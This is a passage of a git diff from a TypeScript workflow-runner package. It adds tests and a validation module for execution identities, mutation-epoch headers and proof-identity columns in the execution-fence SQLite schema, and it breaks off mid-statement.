b/packages/flowsafe/src/do-runner/deployment-identity.test.ts @@ -120,6 +120,9 @@ describe('deployment identity provisioning', () => { transition_revision: 0, mutation_epoch: 0, require_mutation_epoch: 0, + proof_table_prefix: null, + proof_workflow_id: null, + proof_start_token: null, }, ]; expect( @@ -163,6 +166,59 @@ describe('deployment identity provisioning', () => { ).toEqual([]); }); + it('preserves active fence metadata while provisioning proof schema prefixes', async () => { + const proofColumns = [ + 'proof_table_prefix', + 'proof_workflow_id', + 'proof_start_token', + ]; + for (const stage of [4, 5, 6]) { + const sqlite = openSqlite(); + const db = sqliteUnitDatabase(sqlite) as DeploymentIdentityDatabase; + const fence = new ExecutionFenceStore(db, { now: () => 17 }); + const reading = await fence.transition({ + expected: 'open', + next: 'proof-only', + proofKey: 'key', + expectedMutationEpoch: 0, + expectedRevision: 0, + advanceMutationEpoch: true, + }); + await fence.recordProofRun('key', 'run', reading); + for (const name of proofColumns.slice(stage - 4).reverse()) + sqlite.exec(`ALTER TABLE ${EXECUTION_FENCE_TABLE} DROP COLUMN ${name}`); + const before = ( + await db + .prepare(`SELECT * FROM ${EXECUTION_FENCE_TABLE}`) + .all>() + ).results[0]; + expect(before).toBeDefined(); + await seedDeploymentIdentity(db, 'acme', 'open'); + expect( + sqlite.prepare(`SELECT * FROM ${EXECUTION_FENCE_TABLE}`).get(), + ).toEqual({ + ...before, + proof_table_prefix: null, + proof_workflow_id: null, + proof_start_token: null, + }); + expect( + sqlite.prepare(`PRAGMA table_xinfo(${EXECUTION_FENCE_TABLE})`).all(), + ).toHaveLength(12); + await expect(fence.read()).resolves.toEqual({ + ...reading, + proofRunId: 'run', + }); + const after = sqlite + .prepare(`SELECT * FROM ${EXECUTION_FENCE_TABLE}`) + .get(); + await seedDeploymentIdentity(db, 'acme', 'migration-locked'); + expect( + sqlite.prepare(`SELECT * FROM ${EXECUTION_FENCE_TABLE}`).get(), + ).toEqual(after); + } + }); + it('preserves the runtime seed vocabulary and the provisioning birth-state restriction', async () => { for (const state of ['draining', 'proof-only'] as const) { const sqlite = openSqlite(); diff --git a/packages/flowsafe/src/do-runner/execution-admission.test.ts b/packages/flowsafe/src/do-runner/execution-admission.test.ts new file mode 100644 index 00000000..ef33cba7 --- /dev/null +++ b/packages/flowsafe/src/do-runner/execution-admission.test.ts @@ -0,0 +1,329 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { describe, expect, it } from 'vitest'; +import { ExecutionFenceUnreadableError as HostUnreadableError } from '../host-kit/index.js'; +import { doErrorResponse } from './do-error-response.js'; +import { + assertMutationEpoch, + ExecutionFenceUnreadableError, + InvalidExecutionIdentityError, + InvalidMutationEpochError, + MUTATION_EPOCH_HEADER, + MutationEpochMismatchError, + mutationEpochFromHeader, + normalizeD1RunExecutionIdentity, + normalizeMutationEpoch, + normalizeRunExecutionIdentity, + normalizeStartExecutionIdentity, + normalizeStartIdentity, + stampMutationEpoch, +} from './execution-admission.js'; +import { ExecutionFenceUnreadableError as LegacyUnreadableError } from './execution-fence.js'; +import { ExecutionFenceUnreadableError as RunnerUnreadableError } from './index.js'; + +const RUN = { + tablePrefix: 'Tenant_', + workflowId: 'child', + runId: 'run', + startToken: 'generation', +}; +const START = { + owner: { kind: 'human', id: 'Principal with spaces' }, + target: { kind: 'agent', id: 'agent', threadId: 'thread' }, +}; + +describe('execution identity and epoch helpers', () => { + it('normalizes identity data without inventing a namespace or owner', () => { + expect(normalizeRunExecutionIdentity(RUN)).toEqual({ + ...RUN, + tablePrefix: 'tenant_', + }); + expect( + normalizeRunExecutionIdentity({ ...RUN, tablePrefix: null }).tablePrefix, + ).toBeNull(); + expect( + normalizeD1RunExecutionIdentity({ ...RUN, tablePrefix: '' }).tablePrefix, + ).toBe(''); + expect( + normalizeD1RunExecutionIdentity({ ...RUN, tablePrefix: 'A'.repeat(39) }) + .tablePrefix, + ).toBe('a'.repeat(39)); + expect(normalizeStartIdentity(START)).toEqual(START); + const workflow = { + owner: START.owner, + target: { kind: 'workflow', id: 'logical-parent' }, + }; + expect(normalizeStartExecutionIdentity({ ...RUN, ...workflow })).toEqual({ + ...RUN, + tablePrefix: 'tenant_', + ...workflow, + }); + for (const value of [undefined, null, [], 'identity', 1]) { + expect(() => normalizeRunExecutionIdentity(value)).toThrow( + InvalidExecutionIdentityError, + ); + expect(() => normalizeStartIdentity(value)).toThrow( + InvalidExecutionIdentityError, + ); + } + for (const tablePrefix of [ + undefined, + 0, + {}, + 'a'.repeat(40), + 'invalid-prefix', + ]) { + expect(() => + normalizeRunExecutionIdentity({ ...RUN, tablePrefix }), + ).toThrow(InvalidExecutionIdentityError); + } + expect(() => + normalizeD1RunExecutionIdentity({ ...RUN, tablePrefix: null }), + ).toThrow(InvalidExecutionIdentityError); + for (const field of ['workflowId', 'runId', 'startToken']) { + for (const value of [ + '', + '.', + '..', + 'bad/path', + 'with space', + 4, + null, + 'a'.repeat(201), + ]) { + expect(() => + normalizeRunExecutionIdentity({ ...RUN, [field]: value }), + ).toThrow(InvalidExecutionIdentityError); + } + } + for (const owner of [ + null, + [], + {}, + { kind: 'unknown', id: 'owner' }, + { kind: 'human', id: ' ' }, + { kind: 'human', id: 'control\ntext' }, + ]) { + expect(() => normalizeStartIdentity({ ...START, owner })).toThrow( + InvalidExecutionIdentityError, + ); + } + for (const target of [ + null, + [], + {}, + { kind: 'other', id: 'target' }, + { kind: 'workflow', id: 'bad/path' }, + { kind: 'agent', id: 'agent' }, + { kind: 'agent', id: 'agent', threadId: null }, + { kind: 'workflow', id: 'workflow', threadId: 'thread' }, + ]) { + expect(() => normalizeStartIdentity({ ...START, target })).toThrow( + InvalidExecutionIdentityError, + ); + } + }); + + it('captures identity and epoch fields once without freezing caller objects', () => { + const counts = new Map(); + const getters = (values: Record, prefix = '') => + Object.defineProperties( + {}, + Object.fromEntries( + Object.entries(values).map(([key, value]) => [ + key, + { + enumerable: true, + get() { + const name = `${prefix}${key}`; + const count = (counts.get(name) ?? 0) + 1; + counts.set(name, count); + return count === 1 ? value : 'changed'; + }, + }, + ]), + ), + ); + const owner = getters(START.owner, 'owner.'); + const target = getters(START.target, 'target.'); + const input = getters({ ...RUN, owner, target }); + const normalized = normalizeStartExecutionIdentity(input); + expect(normalized).toEqual({ ...RUN, tablePrefix: 'tenant_', ...START }); + expect([...counts.values()].every((count) => count === 1)).toBe(true); + expect(Object.isFrozen(normalized)).toBe(true); + expect(Object.isFrozen(normalized.owner)).toBe(true); + expect(Object.isFrozen(normalized.target)).toBe(true); + expect(Object.isFrozen(input)).toBe(false); + expect(Object.isFrozen(owner)).toBe(false); + const mutable = { + ...RUN, + owner: { ...START.owner }, + target: { ...START.target }, + }; + const copy = normalizeStartExecutionIdentity(mutable); + mutable.owner.id = 'other'; + mutable.target.id = 'other'; + mutable.startToken = 'other'; + expect(copy).toEqual(normalized); + let epochReads = 0; + let requirementReads = 0; + assertMutationEpoch( + { + get mutationEpoch() { + epochReads += 1; + return epochReads === 1 ? 1 : 2; + }, + get requireMutationEpoch() { + requirementReads += 1; + return true; + }, + }, + 1, + ); + expect([epochReads, requirementReads]).toEqual([1, 1]); + for (const invalid of ['private/path/token', 'sensitive owner\nvalue']) { + try { + normalizeStartExecutionIdentity({ + ...RUN, + ...START, + startToken: invalid, + }); + expect.fail('invalid token was accepted'); + } catch (error) { + expect(error).toBeInstanceOf(InvalidExecutionIdentityError); + expect((error as Error).message).not.toContain(invalid); + expect((error as InvalidExecutionIdentityError).reason).toEqual({ + code: 'INVALID_EXECUTION_IDENTITY', + }); + } + } + }); + + it('validates caller epochs and fails malformed readings closed', () => { + expect(normalizeMutationEpoch(undefined)).toBeUndefined(); + expect(Object.is(normalizeMutationEpoch(-0), 0)).toBe(true); + for (const value of [0, 1, Number.MAX_SAFE_INTEGER]) { + expect(normalizeMutationEpoch(value)).toBe(value); + expect(() => + assertMutationEpoch( + { mutationEpoch: 0, requireMutationEpoch: false }, + value, + ), + ).not.toThrow(); + } + for (const value of [ + null, + false, + '0', + -1, + 0.5, + Number.NaN, + Number.POSITIVE_INFINITY, + Number.MAX_SAFE_INTEGER + 1, + ]) { + expect(() => normalizeMutationEpoch(value)).toThrow( + InvalidMutationEpochError, + ); + } + expect(() => + assertMutationEpoch({ mutationEpoch: 1, requireMutationEpoch: true }, 1), + ).not.toThrow(); + for (const [value, classification] of [ + [undefined, 'missing'], + [0, 'stale'], + [2, 'future'], + ] as const) { + try { + assertMutationEpoch( + { mutationEpoch: 1, requireMutationEpoch: true }, + value, + ); + expect.fail('mismatch was accepted'); + } catch (error) { + expect(error).toBeInstanceOf(MutationEpochMismatchError); + expect((error as MutationEpochMismatchError).status).toBe(409); + expect((error as MutationEpochMismatchError).reason).toEqual({ + code: 'MUTATION_EPOCH_MISMATCH', + classification, + mutationEpoch: 1, + }); + } + } + for (const reading of [ + null, + [], + {}, + { mutationEpoch: '0', requireMutationEpoch: false }, + { mutationEpoch: -1, requireMutationEpoch: false }, + { mutationEpoch: 0.1, requireMutationEpoch: true }, + { mutationEpoch: 0, requireMutationEpoch: 0 }, + { mutationEpoch: 0, requireMutationEpoch: true }, + { mutationEpoch: 1, requireMutationEpoch: false }, + ]) { + expect(() => assertMutationEpoch(reading as never, 0)).toThrow( + ExecutionFenceUnreadableError, + ); + } + }); + + it('round-trips only canonical mutation epoch headers', () => { + expect(mutationEpochFromHeader(null)).toBeUndefined(); + for (const value of [0, 1, Number.MAX_SAFE_INTEGER]) { + const headers = new Headers({ 'X-Flowsafe-Mutation-Epoch': 'forged' }); + stampMutationEpoch(headers, value); + expect(headers.get(MUTATION_EPOCH_HEADER)).toBe(String(value)); + expect(mutationEpochFromHeader(headers.get(MUTATION_EPOCH_HEADER))).toBe( + value, + ); + stampMutationEpoch(headers, undefined); + expect(headers.has(MUTATION_EPOCH_HEADER)).toBe(false); + } + for (const value of [ + '', + ' 0', + '0 ', + '1\n', + '1\r\n', + '+1', + '-0', + '01', + '1.0', + '1e0', + '1, 2', + '9007199254740992', + '1'.repeat(17), + ]) { + expect(() => mutationEpochFromHeader(value)).toThrow( + InvalidMutationEpochError, + ); + } + const headers = new Headers({ [MUTATION_EPOCH_HEADER]: '1' }); + headers.append('X-Flowsafe-Mutation-Epoch', '2'); + expect(() => + mutationEpochFromHeader(headers.get(MUTATION_EPOCH_HEADER)), + ).toThrow(InvalidMutationEpochError); + const before = [...headers]; + expect(() => stampMutationEpoch(headers, 'private' as never)).toThrow( + InvalidMutationEpochError, + ); + expect([...headers]).toEqual(before); + }); + + it('preserves the unreadable error constructor across old and new imports', async () => { + expect(ExecutionFenceUnreadableError).toBe(LegacyUnreadableError); + expect(ExecutionFenceUnreadableError).toBe(RunnerUnreadableError); + expect(ExecutionFenceUnreadableError).toBe(HostUnreadableError); + const cause = new Error('underlying failure'); + const error = new ExecutionFenceUnreadableError('unreadable', { cause }); + expect(error).toBeInstanceOf(LegacyUnreadableError); + expect(error.name).toBe('ExecutionFenceUnreadableError'); + expect(error.message).toBe('unreadable'); + expect(error.cause).toBe(cause); + const response = doErrorResponse(error); + expect(response.status).toBe(503); + expect(await response.json()).toEqual({ + error: 'unreadable', + reason: { code: 'EXECUTION_FENCE_UNREADABLE' }, + }); + }); +}); diff --git a/packages/flowsafe/src/do-runner/execution-admission.ts b/packages/flowsafe/src/do-runner/execution-admission.ts new file mode 100644 index 00000000..28a94627 --- /dev/null +++ b/packages/flowsafe/src/do-runner/execution-admission.ts @@ -0,0 +1,275 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { + type ExecutionPrincipalKind, + isExecutionPrincipalId, + isExecutionPrincipalKind, +} from '../approval-api/principal-identity.js'; +import { DoStatusError } from './do-status-error.js'; +import { isPathSafeId } from './path-safe-id.js'; +import { validateTablePrefix } from './table-prefix.js'; + +export interface MutationEpochContext { + readonly mutationEpoch?: number; +} + +/** Identity data; null explicitly makes no D1 namespace assertion. */ +export interface RunExecutionIdentity { + readonly tablePrefix: string | null; + readonly workflowId: string; + readonly runId: string; + readonly startToken: string; +} + +export interface D1RunExecutionIdentity extends RunExecutionIdentity { + readonly tablePrefix: string; +} + +export interface StartIdentity { + readonly owner: { + readonly kind: ExecutionPrincipalKind; + readonly id: string; + }; + readonly target: + | { readonly kind: 'workflow'; readonly id: string } + | { + readonly kind: 'agent'; + readonly id: string; + readonly threadId: string; + }; +} + +export interface StartExecutionIdentity + extends RunExecutionIdentity, + StartIdentity {} +export interface D1StartExecutionIdentity + extends D1RunExecutionIdentity, + StartIdentity {} + +const IDENTITY_ERRORS = { + identity: 'execution identity must be an object', + tablePrefix: 'tablePrefix is not valid for this execution identity', + workflowId: 'workflowId must be a URL-path-safe identifier', + runId: 'runId must be a URL-path-safe identifier', + startToken: 'startToken must be a URL-path-safe identifier', + owner: 'owner must be an execution principal object', + 'owner.kind': 'owner.kind must be an execution principal kind', + 'owner.id': 'owner.id must be a valid execution principal identifier', + target: 'target must be an object', + 'target.kind': 'target.kind must be workflow or agent', + 'target.id': 'target.id must be a URL-path-safe identifier', + 'target.threadId': + 'target.threadId is required only for an agent target and must be URL-path-safe', +} as const; + +export class InvalidExecutionIdentityError extends DoStatusError { + readonly status = 400; + readonly reason = { code: 'INVALID_EXECUTION_IDENTITY' } as const; + + constructor(field: keyof typeof IDENTITY_ERRORS) { + super( + Object.hasOwn(IDENTITY_ERRORS, field) + ? IDENTITY_ERRORS[field] + : 'execution identity is malformed', + ); + this.name = 'InvalidExecutionIdentityError'; + } +} + +export class InvalidMutationEpochError extends DoStatusError { + readonly status = 400; + readonly reason = { code: 'INVALID_MUTATION_EPOCH' } as const; + + constructor() { + super('mutationEpoch must be a nonnegative safe integer or undefined'); + this.name = 'InvalidMutationEpochError'; + } +} + +export class MutationEpochMismatchError extends DoStatusError { + readonly status = 409; + readonly reason: { + readonly code: 'MUTATION_EPOCH_MISMATCH'; + readonly classification: 'missing' | 'stale' | 'future'; + readonly mutationEpoch: number; + }; + + constructor( + classification: 'missing' | 'stale' | 'future', + mutationEpoch: number, + ) { + super('mutation epoch does not match the active deployment'); + this.name = 'MutationEpochMismatchError'; + this.reason = { + code: 'MUTATION_EPOCH_MISMATCH', + classification, + mutationEpoch, + }; + } +} + +export class ExecutionFenceUnreadableError extends DoStatusError { + readonly status = 503; + readonly reason: { readonly code: 'EXECUTION_FENCE_UNREADABLE' }; + + constructor(message: string, options?: ErrorOptions) { + super(message, options); + this.name = 'ExecutionFenceUnreadableError'; + this.reason = { code: 'EXECUTION_FENCE_UNREADABLE' }; + } +} + +function identityObject( + value: unknown, + field: 'identity' | 'owner' | 'target', +): Record { + if (value === null || typeof value !== 'object' || Array.isArray(value)) { + throw new InvalidExecutionIdentityError(field); + } + return value as Record; +} + +export function normalizeRunExecutionIdentity( + value: unknown, +): RunExecutionIdentity { + const { tablePrefix, workflowId, runId, startToken } = identityObject( + value, + 'identity', + ); + if (tablePrefix !== null && typeof tablePrefix !== 'string') { + throw new InvalidExecutionIdentityError('tablePrefix'); + } + if (tablePrefix !== null) { + try { + validateTablePrefix(tablePrefix); + } catch { + throw new InvalidExecutionIdentityError('tablePrefix'); + } + } + if (!isPathSafeId(workflowId)) + throw new InvalidExecutionIdentityError('workflowId'); + if (!isPathSafeId(runId)) throw new InvalidExecutionIdentityError('runId'); + if (!isPathSafeId(startToken)) + throw new InvalidExecutionIdentityError('startToken'); + return Object.freeze({ + tablePrefix: tablePrefix?.toLowerCase() ?? null, + workflowId, + runId, + startToken, + }); +} + +export function normalizeD1RunExecutionIdentity( + value: unknown, +): D1RunExecutionIdentity { + const identity = normalizeRunExecutionIdentity(value); + if (identity.tablePrefix === null) + throw new InvalidExecutionIdentityError('tablePrefix'); + return Object.freeze({ ...identity, tablePrefix: identity.tablePrefix }); +} + +export function normalizeStartIdentity(value: unknown): StartIdentity { + const { owner: rawOwner, target: rawTarget } = identityObject( + value, + 'identity', + ); + const { kind: ownerKind, id: ownerId } = identityObject(rawOwner, 'owner'); + const { kind, id, threadId } = identityObject(rawTarget, 'target'); + if (!isExecutionPrincipalKind(ownerKind)) + throw new InvalidExecutionIdentityError('owner.kind'); + if (!isExecutionPrincipalId(ownerId)) + throw new InvalidExecutionIdentityError('owner.id'); + if (kind !== 'workflow' && kind !== 'agent') + throw new InvalidExecutionIdentityError('target.kind'); + if (!isPathSafeId(id)) throw new InvalidExecutionIdentityError('target.id'); + const owner = Object.freeze({ kind: ownerKind, id: ownerId }); + if (kind === 'agent') { + if (!isPathSafeId(threadId)) + throw new InvalidExecutionIdentityError('target.threadId'); + return Object.freeze({ + owner, + target: Object.freeze({ kind, id, threadId }), + }); + } + if (threadId !== undefined) + throw new InvalidExecutionIdentityError('target.threadId'); + return Object.freeze({ owner, target: Object.freeze({ kind, id }) }); +} + +export function normalizeStartExecutionIdentity( + value: unknown, +): StartExecutionIdentity { + return Object.freeze({ + ...normalizeRunExecutionIdentity(value), + ...normalizeStartIdentity(value), + }); +} + +export function normalizeMutationEpoch(value: unknown): number | undefined { + if (value === undefined) return undefined; + if (typeof value !== 'number' || !Number.isSafeInteger(value) || value < 0) { + throw new InvalidMutationEpochError(); + } + return value === 0 ? 0 : value; +} + +export function assertMutationEpoch( + reading: { + readonly mutationEpoch: number; + readonly requireMutationEpoch: boolean; + }, + mutationEpoch: number | undefined, +): void { + const supplied = normalizeMutationEpoch(mutationEpoch); + const candidate = + reading !== null && typeof reading === 'object' && !Array.isArray(reading) + ? reading + : undefined; + const current = candidate?.mutationEpoch; + const required = candidate?.requireMutationEpoch; + if ( + typeof current !== 'number' || + !Number.isSafeInteger(current) || + current < 0 || + typeof required !== 'boolean' || + required !== current > 0 + ) { + throw new ExecutionFenceUnreadableError( + 'execution fence mutation metadata is not readable', + ); + } + if (!required || supplied === current) return; + throw new MutationEpochMismatchError( + supplied === undefined + ? 'missing' + : supplied < current + ? 'stale' + : 'future', + current, + ); +} + +export const MUTATION_EPOCH_HEADER = 'x-flowsafe-mutation-epoch'; + +export function mutationEpochFromHeader( + value: string | null, +): number | undefined { + if (value === null) return undefined; + if ( + typeof value !== 'string' || + value.length > 16 || + !/^(?:0|[1-9][0-9]*)$/.test(value) + ) { + throw new InvalidMutationEpochError(); + } + return normalizeMutationEpoch(Number(value)); +} + +export function stampMutationEpoch( + headers: Headers, + epoch: number | undefined, +): void { + const value = normalizeMutationEpoch(epoch); + if (value === undefined) headers.delete(MUTATION_EPOCH_HEADER); + else headers.set(MUTATION_EPOCH_HEADER, String(value)); +} diff --git a/packages/flowsafe/src/do-runner/execution-fence.test.ts b/packages/flowsafe/src/do-runner/execution-fence.test.ts index 81cd3b37..248fe890 100644 --- a/packages/flowsafe/src/do-runner/execution-fence.test.ts +++ b/packages/flowsafe/src/do-runner/execution-fence.test.ts @@ -17,6 +17,7 @@ import { EXECUTION_FENCE_STATES, EXECUTION_FENCE_TABLE, } from '../deployment-identity-protocol.js'; +import { seedDeploymentIdentity } from './deployment-identity.js'; import { doErrorResponse } from './do-error-response.js'; import { admitsDrainableExecution, @@ -67,6 +68,16 @@ const optionalMetadata = { requireMutationEpoch: false, transitionRevision: 0, }; +const proofColumns = [ + 'proof_table_prefix', + 'proof_workflow_id', + 'proof_start_token', +]; +const emptyProofIdentity = { + proof_table_prefix: null, + proof_workflow_id: null, + proof_start_token: null, +}; const legacyFenceDdl = `CREATE TABLE flowsafe_execution_fence ( id TEXT PRIMARY KEY CHECK (id = 'deployment'), state TEXT NOT NULL CHECK (state IN ('open', 'draining', 'migration-locked', 'proof-only')), @@ -584,7 +595,7 @@ describe('versioned execution fence persistence', () => { }); it('refuses a missing row once any FS8 column exists', async () => { - for (let stage = 1; stage <= 4; stage += 1) { + for (let stage = 1; stage <= 7; stage += 1) { const { sqlite, db } = fenceFixture(); sqlite.exec(EXECUTION_FENCE_DDL); const additions = [ @@ -592,6 +603,7 @@ describe('versioned execution fence persistence', () => { 'transition_revision', 'mutation_epoch', 'require_mutation_epoch', + ...proofColumns, ]; for (const column of additions.slice(stage).reverse()) sqlite.exec( @@ -648,7 +660,7 @@ describe('versioned execution fence persistence', () => { it('resumes every supported fence schema prefix without reopening the row', async () => { for (const state of EXECUTION_FENCE_STATES) { - for (let stopAfter = 0; stopAfter <= 4; stopAfter += 1) { + for (let stopAfter = 0; stopAfter <= 7; stopAfter += 1) { const { sqlite, db } = fenceFixture(); let additions = 0; let stopped = false; @@ -686,6 +698,7 @@ describe('versioned execution fence persistence', () => { transition_revision: 0, mutation_epoch: 0, require_mutation_epoch: 0, + ...emptyProofIdentity, }); expect(rawFence(sqlite).updated_at).toBe(12); } @@ -757,6 +770,201 @@ describe('versioned execution fence persistence', () => { }); }); + it('preserves active P1 metadata through every new proof-column prefix', async () => { + for (const stage of [4, 5, 6]) { + const { fence, sqlite, db } = fenceFixture(); + const admitted = await fence.transition({ + ...activation, + next: 'proof-only', + proofKey: 'key', + }); + await fence.recordProofRun('key', 'run', admitted); + for (const column of proofColumns.slice(stage - 4).reverse()) + sqlite.exec( + `ALTER TABLE ${EXECUTION_FENCE_TABLE} DROP COLUMN ${column}`, + ); + const before = rawFence(sqlite); + await expect(fence.read()).resolves.toEqual({ + ...admitted, + proofRunId: 'run', + }); + await fence.seed('open'); + expect(rawFence(sqlite)).toEqual({ ...before, ...emptyProofIdentity }); + const writes: string[] = []; + await new ExecutionFenceStore( + interceptedDatabase(db, async (sql, execute) => { + if (/^(CREATE|INSERT|UPDATE|ALTER)/.test(sql)) writes.push(sql); + return execute(); + }), + ).seed('open'); + expect(writes).toEqual([]); + } + const { fence, sqlite, db } = fenceFixture(); + await fence.transition(activation); + for (const column of [...proofColumns].reverse()) + sqlite.exec(`ALTER TABLE ${EXECUTION_FENCE_TABLE} DROP COLUMN ${column}`); + let advanced = false; + const reader = new ExecutionFenceStore( + interceptedDatabase(db, async (sql, execute) => { + const result = await execute(); + if (!advanced && sql.startsWith('SELECT *')) { + advanced = true; + await fence.seed('open'); + } + return result; + }), + ); + await expect(reader.read()).resolves.toEqual(activeReading); + }); + + it('distinguishes partial mutation defaults from partial proof defaults', async () => { + for (const stage of [1, 2, 3, 5, 6]) { + const { fence, sqlite, db } = fenceFixture(); + if (stage >= 4) await fence.transition(activation); + else await fence.seed('open'); + const names = [ + 'last_transition_request', + 'transition_revision', + 'mutation_epoch', + 'require_mutation_epoch', + ...proofColumns, + ]; + for (const column of names.slice(stage).reverse()) + sqlite.exec( + `ALTER TABLE ${EXECUTION_FENCE_TABLE} DROP COLUMN ${column}`, + ); + const column = stage < 4 ? names[stage - 1] : proofColumns[stage - 5]; + sqlite + .prepare(`UPDATE ${EXECUTION_FENCE_TABLE} SET ${column} = ?`) + .run(stage === 1 ? 'receipt' : stage < 4 ? 1 : 'not-null'); + const before = rawFence(sqlite); + const writes: string[] = []; + const subject = new ExecutionFenceStore( + interceptedDatabase(db, async (sql, execute) => { + if (/^(CREATE|INSERT|UPDATE|ALTER)/.test(sql)) writes.push(sql); + return execute(); + }), + ); + for (const action of [() => subject.read(), () => subject.seed('open')]) { + await expect(action()).rejects.toMatchObject({ + cause: { + message: `${EXECUTION_FENCE_TABLE} has an invalid execution-fence schema (${stage < 4 ? 'partial metadata is not optional defaults' : 'partial proof identity is not null'})`, + }, + }); + } + expect(writes).toEqual([]); + expect(rawFence(sqlite)).toEqual(before); + } + }); + + it('decodes complete D1 proof identity but omits it from admin payloads', async () => { + const { fence, sqlite, db } = fenceFixture(); + const admitted = await fence.transition({ + ...activation, + next: 'proof-only', + proofKey: 'key', + }); + await fence.recordProofRun('key', 'run', admitted); + sqlite.exec( + `UPDATE ${EXECUTION_FENCE_TABLE} SET proof_table_prefix = '', proof_workflow_id = 'workflow', proof_start_token = 'generation'`, + ); + const proofExecution = { + tablePrefix: '', + workflowId: 'workflow', + runId: 'run', + startToken: 'generation', + }; + await expect(fence.read()).resolves.toEqual({ + ...admitted, + proofRunId: 'run', + proofExecution, + }); + expect(executionFenceReadingPayload(await fence.read())).toEqual({ + ...admitted, + proofRunId: 'run', + }); + const valid = rawFence(sqlite); + for (const corruption of [ + { proof_table_prefix: null }, + { proof_workflow_id: null }, + { proof_start_token: null }, + { proof_table_prefix: 'Mixed_' }, + { proof_table_prefix: 'bad-prefix' }, + { proof_workflow_id: 'bad/workflow' }, + { proof_start_token: 'bad token' }, + { proof_run_id: null }, + { proof_run_id: 'bad/run' }, + { state: 'open' }, + { proof_key: '' }, + ]) { + const entries = Object.entries(corruption); + sqlite + .prepare( + `UPDATE ${EXECUTION_FENCE_TABLE} SET ${entries.map(([key]) => `${key} = ?`).join(', ')}`, + ) + .run(...entries.map(([, value]) => value)); + const before = rawFence(sqlite); + await expect(fence.read()).rejects.toBeInstanceOf( + ExecutionFenceUnreadableError, + ); + await expect(fence.seed('open')).rejects.toBeInstanceOf( + ExecutionFenceUnreadableError, + ); + expect(rawFence(sqlite)).toEqual(before); + sqlite + .prepare( + `UPDATE ${EXECUTION_FENCE_TABLE} SET ${Object.keys(valid) + .map((key) => `${key} = ?`) + .join(', ')}`, + ) + .run(...Object.values(valid)); + } + sqlite.exec( + `UPDATE ${EXECUTION_FENCE_TABLE} SET proof_table_prefix = 'Mixed_'`, + ); + const before = rawFence(sqlite); + await seedDeploymentIdentity(db, 'acme', 'open'); + expect(rawFence(sqlite)).toEqual(before); + await expect(fence.read()).rejects.toBeInstanceOf( + ExecutionFenceUnreadableError, + ); + }); + + it('clears proof identity on a new admin command and preserves it on exact retry', async () => { + for (const upgraded of [false, true]) { + const { fence, sqlite } = fenceFixture(); + const command = { + expected: 'open', + next: 'proof-only', + proofKey: 'key', + expectedMutationEpoch: 0, + expectedRevision: 0, + } as const; + const admitted = await fence.transition(command); + await fence.recordProofRun('key', 'run', admitted); + sqlite.exec( + `UPDATE ${EXECUTION_FENCE_TABLE} SET proof_table_prefix = 'tenant_', proof_workflow_id = 'workflow', proof_start_token = 'generation'`, + ); + const before = rawFence(sqlite); + await expect(fence.transition(command)).resolves.toEqual( + await fence.read(), + ); + expect(rawFence(sqlite)).toEqual(before); + await fence.transition({ + expected: 'proof-only', + next: 'proof-only', + proofKey: 'key', + ...(upgraded ? { expectedMutationEpoch: 0, expectedRevision: 1 } : {}), + }); + expect(rawFence(sqlite)).toMatchObject({ + proof_run_id: null, + ...emptyProofIdentity, + transition_revision: 2, + }); + expect((await fence.read()).proofExecution).toBeUndefined(); + } + }); + it('does not swallow an ALTER failure unless compatible metadata proves completion', async () => { for (const outcome of ['before', 'after', 'incompatible'] as const) { const { db, sqlite } = fenceFixture(); @@ -1478,55 +1686,111 @@ describe('versioned execution fence persistence', () => { ); expect( sqlite.prepare(`PRAGMA table_info(${EXECUTION_FENCE_TABLE})`).all(), - ).toHaveLength(9); + ).toHaveLength(12); expect( sqlite.prepare(`PRAGMA table_xinfo(${EXECUTION_FENCE_TABLE})`).all(), - ).toHaveLength(10); - await expect(fence.read()).rejects.toBeInstanceOf( - ExecutionFenceUnreadableError, - ); - await expect(fence.seed('open')).rejects.toBeInstanceOf( - ExecutionFenceUnreadableError, - ); - for (const schema of [ - EXECUTION_FENCE_DDL.replace( - 'last_transition_request TEXT', - 'last_transition_request INTEGER', - ), - EXECUTION_FENCE_DDL.replace( - 'last_transition_request TEXT', - 'last_transition_request TEXT DEFAULT NULL', - ), - EXECUTION_FENCE_DDL.replace( - 'transition_revision INTEGER NOT NULL DEFAULT 0', - "transition_revision INTEGER NOT NULL DEFAULT '0'", - ), - EXECUTION_FENCE_DDL.replace( - 'proof_key TEXT,\n proof_run_id TEXT', - 'proof_run_id TEXT,\n proof_key TEXT', - ), - EXECUTION_FENCE_DDL.replace( - 'last_transition_request TEXT', - 'other_receipt TEXT', - ), - EXECUTION_FENCE_DDL.replace( - 'proof_key TEXT,', - 'proof_key TEXT GENERATED ALWAYS AS (state) VIRTUAL,', - ), - ]) { + ).toHaveLength(13); + const schemaMessage = (reason: string) => + `${EXECUTION_FENCE_TABLE} has an invalid execution-fence schema (${reason})`; + for (const action of [() => fence.read(), () => fence.seed('open')]) { + await expect(action()).rejects.toMatchObject({ + cause: { + name: 'DeploymentIdentityError', + message: schemaMessage('unexpected columns'), + }, + }); + } + for (const [schema, diagnostic] of [ + [ + EXECUTION_FENCE_DDL.replace( + 'last_transition_request TEXT', + 'last_transition_request INTEGER', + ), + 'column last_transition_request differs', + ], + [ + EXECUTION_FENCE_DDL.replace( + 'last_transition_request TEXT', + 'last_transition_request TEXT DEFAULT NULL', + ), + 'column last_transition_request differs', + ], + [ + EXECUTION_FENCE_DDL.replace( + 'transition_revision INTEGER NOT NULL DEFAULT 0', + "transition_revision INTEGER NOT NULL DEFAULT '0'", + ), + 'column transition_revision differs', + ], + [ + EXECUTION_FENCE_DDL.replace( + 'proof_key TEXT,\n proof_run_id TEXT', + 'proof_run_id TEXT,\n proof_key TEXT', + ), + 'column proof_key differs', + ], + [ + EXECUTION_FENCE_DDL.replace( + 'last_transition_request TEXT', + 'other_receipt TEXT', + ), + 'column last_transition_request differs', + ], + [ + EXECUTION_FENCE_DDL.replace( + 'proof_key TEXT,', + 'proof_key TEXT GENERATED ALWAYS AS (state) VIRTUAL,', + ), + 'column proof_key differs', + ], + [ + EXECUTION_FENCE_DDL.replace( + 'proof_table_prefix TEXT', + 'proof_table_prefix INTEGER', + ), + 'column proof_table_prefix differs', + ], + [ + EXECUTION_FENCE_DDL.replace( + 'proof_start_token TEXT', + 'proof_start_token TEXT DEFAULT NULL', + ), + 'column proof_start_token differs', + ], + [ + EXECUTION_FENCE_DDL.replace( + /\n {2}\)$/, + ',\n future_column TEXT\n )', + ), + 'unexpected columns', + ], + ] as const) { const malformed = fenceFixture(); malformed.sqlite.exec(schema); - await 